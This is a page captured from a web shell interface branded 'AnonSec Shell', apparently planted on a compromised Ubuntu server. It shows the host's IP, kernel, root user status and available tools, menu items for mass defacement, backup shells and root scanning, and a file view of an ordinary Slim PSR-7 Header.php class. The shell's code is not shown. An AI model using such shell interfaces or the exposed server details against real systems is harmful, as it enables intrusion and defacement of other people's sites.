AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/phpmyadmin/vendor/slim/psr7/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/share/phpmyadmin/vendor/slim/psr7/src/Header.php
<?php

/**
 * Slim Framework (https://slimframework.com)
 *
 * @license https://github.com/slimphp/Slim-Psr7/blob/master/LICENSE.md (MIT License)
 */

declare(strict_types=1);

namespace Slim\Psr7;

use InvalidArgumentException;

use function array_merge;
use function is_array;
use function is_string;

class Header
{
    /**
     * @var string
     */
    private $originalName;

    /**
     * @var string
     */
    private $normalizedName;

    /**
     * @var array
     */
    private $values;

    /**
     * Header constructor.
     *
     * @param string $originalName
     * @param string $normalizedName
     * @param array  $values
     */
    public function __construct(string $originalName, string $normalizedName, array $values)
    {
        $this->originalName = $originalName;
        $this->normalizedName = $normalizedName;
        $this->values = $values;
    }

    /**
     * @return string
     */
    public function getOriginalName(): string
    {
        return $this->originalName;
    }

    /**
     * @return string
     */
    public function getNormalizedName(): string
    {
        return $this->normalizedName;
    }

    /**
     * @param string $value
     *
     * @return self
     */
    public function addValue(string $value): self
    {
        $this->values[] = $value;

        return $this;
    }

    /**
     * @param array|string $values
     *
     * @return self
     */
    public function addValues($values): self
    {
        if (is_string($values)) {
            return $this->addValue($values);
        }

        if (!is_array($values)) {
            throw new InvalidArgumentException('Parameter 1 of Header::addValues() should be a string or an array.');
        }

        $this->values = array_merge($this->values, $values);

        return $this;
    }

    /**
     * @return array
     */
    public function getValues(): array
    {
        return $this->values;
    }
}

Anon7 - 2022
AnonSec Team